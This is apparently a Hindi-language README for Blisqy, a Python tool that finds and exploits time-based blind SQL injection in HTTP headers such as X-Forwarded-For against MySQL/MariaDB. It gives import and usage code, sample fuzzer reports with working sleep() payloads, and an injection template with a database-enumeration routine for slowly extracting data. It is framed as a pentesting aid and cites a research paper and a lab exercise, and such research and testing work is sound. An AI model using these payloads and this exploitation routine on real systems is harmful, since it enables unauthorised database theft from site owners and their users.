
संस्करण 0.2 - HTTP-हेडर्स में Time-based blind-SQL injection का शोषण (MySQL/MariaDB)
Blisqy एक उपकरण है जो वेब सुरक्षा शोधकर्ताओं को HTTP हेडर पर Time-based Blind SQL injection खोजने और उसी कमजोरी का शोषण करने में सहायता करता है।
शोषण डेटाबेस से धीमी डेटा साइफन को सक्षम करता है (वर्तमान में केवल MySQL/MariaDB का समर्थन करता है) printable ASCII अक्षरों पर bitwise ऑपरेशन का उपयोग करके, blind-SQL इंजेक्शन के माध्यम से।
अन्य Python उपकरणों के साथ अंतरसंचालनीयता के लिए और अन्य उपयोगकर्ताओं को Blisqy में प्रदान की गई सुविधाओं का उपयोग करने में सक्षम बनाने के लिए, यहां के मॉड्यूल को अन्य Python-आधारित स्क्रिप्ट में आयात किया जा सकता है।
Time-based Blind SQL इंजेक्शन के लिए परीक्षण करते समय, कोई भी नेटवर्क लैग या भीड़ आपके फ़ज़िंग या शोषण की प्रभावशीलता को प्रभावित कर सकती है। संभावित नेटवर्क लैग और अनिश्चितताओं की भरपाई करने के लिए जो देरी का कारण बन सकती हैं, Blisqy समय तुलना गतिशील है और प्रत्येक परीक्षण के लिए रनटाइम पर गणना की जाती है। परीक्षण greenlet(alight-weight cooperatively-scheduled execution unit) का उपयोग करते हैं ताकि libevevent लूप के शीर्ष पर एक उच्च-स्तरीय सिंक्रोनस API प्रदान किया जा सके। यह पेलोड परीक्षणों को कम समय में करने का एक तेज़ और कुशल तरीका प्रदान करता है, साथ ही, एक विशेष परीक्षण दूसरे को प्रभावित नहीं करना चाहिए क्योंकि वे पूरी तरह से अनुक्रमिक विधि में नहीं किए जाते हैं।
Blisqy अब HTTP हेडर पर Time-based Blind SQL Injection के लिए फ़ज़िंग का समर्थन करता है और मुख्य कार्यक्षमताओं (फ़ज़िंग और शोषण) को पोर्टेबिलिटी के लिए स्वतंत्र फ़ाइलों में अलग कर दिया गया है।
फ़ज़िंग कार्यक्षमता का उपयोग करने के लिए, अपनी Python स्क्रिप्ट में निम्नलिखित मॉड्यूल आयात करें और नीचे दिखाए अनुसार लक्ष्य और फ़ज़िंग डेटा प्रदान करें:
from lib.blindfuzzer import blindSeeker
लक्ष्य पैरामीटर Dictionary/JSON प्रारूप में होने चाहिए, उदाहरण के लिए (चर डेटा-प्रकारों पर ध्यान दें):
Server = '192.168.56.101'
Port = 80
Index = 1
Method = 'GET'
Headerfile = "fuzz-data/headers/default_headers.txt"
Injectionfile = "fuzz-data/payloads/mysql_time.txt"
target_params = {
'server': Server,
'port': Port,
'index': Index,
'headersFile': Headerfile,
'injectionFile': Injectionfile,
'method': Method
}
एक बार लक्ष्य पैरामीटर प्रदान होने के बाद फ़ज़र को आमंत्रित करना नीचे दिखाया गया है:
vulns = blindSeeker(target_params)
vulns.fuzz()
आप इस उदाहरण के लिए FindBlindSpot.py देख सकते हैं।
यदि आप सफल होते हैं, तो आपको किए गए 'इंजेक्टेबल' परीक्षणों की एक रिपोर्ट मिलनी चाहिए। कृपया ध्यान दें, जितना Blisqy परीक्षण के दौरान नेटवर्क लैग और भीड़ की भरपाई करने की कोशिश करता है, आगे बढ़ने से पहले रिपोर्ट किए गए सकारात्मक परीक्षणों का प्रूफ-टेस्ट करना महत्वपूर्ण है।
नीचे एक नमूना रिपोर्ट है:
=================== [ Key Terms] ===================
Index = Configured Constant (Delay)
Base Index Record = Server Ping Before Fuzzing
Benching Record = Base Index Record + Index
Fuzzing Record = Time taken to process request with Index
===================== [ Logic] =====================
If Fuzzing Record is greater than Benching Record,
treat as a positive; else, treat as a negative.
[+] Injection : X-Forwarded-For : ' or sleep(1)#
[+] Header : X-Forwarded-For
[*] Index Record : 0.000160932540894
[*] Benching Record : 1.00016093254
[*] Fuzzing Record : 9.01
[!] Test 436 is Injectable.
__________________________________
[+] Injection : X-Forwarded-For : ' or sleep(1)='
[+] Header : X-Forwarded-For
[*] Index Record : 0.000378847122192
[*] Benching Record : 1.00037884712
[*] Fuzzing Record : 18.02
[!] Test 438 is Injectable.
__________________________________
Blisqy फ़ज़र क्रियाशीलता का स्क्रीनशॉट:

एक संभावित Time-based Blind SQL injection खोजने के बाद, आप कमजोर वेब एप्लिकेशन का शोषण करने के लिए एक स्क्रिप्ट तैयार कर सकते हैं।
फ़ज़र की तरह, आप अपनी Python स्क्रिप्ट में शोषण के लिए मॉड्यूल आयात कर सकते हैं और शोषण ऑपरेशन के लिए एक टेम्पलेट परिभाषित कर सकते हैं। नीचे Python स्क्रिप्ट में मॉड्यूल आयात करने का एक उदाहरण है:
from lib.blindexploit import SqlEngine
इसके बाद, आपको शोषण के लिए अपने लक्ष्य का विवरण और उसके लक्ष्य पैरामीटर प्रदान करने होंगे। नीचे फ़ज़र द्वारा पाए गए blind SQL injection का शोषण करने का एक नमूना कार्यान्वयन है:
लक्ष्य डेटा Dictionary/JSON प्रारूप में होना चाहिए जो सर्वर, पोर्ट, पाए गए कमजोर हेडर और उसके मान को निर्दिष्ट करता है (कुछ एप्लिकेशन को एक निश्चित मान की आवश्यकता होगी या जांच होगी)। साथ ही चर डेटा-प्रकारों पर ध्यान दें।
target = {
'server': '192.168.56.101',
'port': 80,
'vulnHeader': 'X-Forwarded-For',
'headerValue': 'fuzzer'
}
लक्ष्य पैरामीटर इस प्रकार होने चाहिए जिससे उपयोगकर्ता शोषण प्राथमिकताओं से संबंधित कुछ विकल्प निर्दिष्ट कर सके।
targetParam = {
'sleepTime': 0.1,
'payload': 'pass',
'mysqlDig': 'yes',
'interactive': 'on',
'verbosity': 'high'
}
select @@hostname। डिफ़ॉल्ट विकल्प 'pass' है।अपने लक्ष्य और उसके पैरामीटर प्रदान करने के बाद, अगली चीज़ शोषण रूटीन के लिए एक टेम्पलेट प्रदान करना है। Blisqy एक तरीका प्रदान करता है जिससे उपयोगकर्ता यह निर्दिष्ट कर सकते हैं कि एक्सफिल्ट्रेशन SQL पेलोड और sleeptime विलंब कहाँ इंजेक्ट करना है। नीचे पिछले उपखंड में प्रदान की गई नमूना रिपोर्ट पर पाई गई कमजोरियों में से एक के लिए एक कार्यान्वयन का उदाहरण है।
X-Forwarded-For हेडर पर पाया गया इंजेक्शन:
' or sleep(1)='
इस विशेष इंजेक्शन के लिए टेम्पलेट:
sqli = "' or if((*sql*),sleep(*time*),0) and '1'='1"
रनटाइम के दौरान, *sql* को एक SQL इंजेक्शन पेलोड से बदल दिया जाएगा और *time* को sleep() के लिए विलंब से बदल दिया जाएगा।
ये सब हो जाने के बाद, अंतिम भाग शोषण रूटीन को इंस्टेंशिएट करना और MysqlDigger() विधि को काम करने देना है।
# Create an instance
BlindSql = SqlEngine(target, targetParam, sqli)
# Enumerate the MySql Database
BlindSql.MysqlDigger()
आप इस उदाहरण के लिए ExploitBlindSpot.py देख सकते हैं।
नीचे एक शोषण ऑपरेशन का उदाहरण है:

आप मुझे Blisqy के साथ पाई गई किसी भी दिलचस्प चीज़ या जो आपको लगता है कि जोड़ा/हटाया जाना चाहिए, के बारे में सूचित कर सकते हैं।
(PDF) HTTP हेडर के माध्यम से Time-Based Blind SQL Injection: फ़ज़िंग और शोषण.. से उपलब्ध: https://www.researchgate.net/publication/328880240_Time-Based_Blind_SQL_Injection_via_HTTP_Headers_Fuzzing_and_Exploitation
PentesterLab - SQL Injection से Shell II तक https://pentesterlab.com/exercises/from_sqli_to_shell_II/course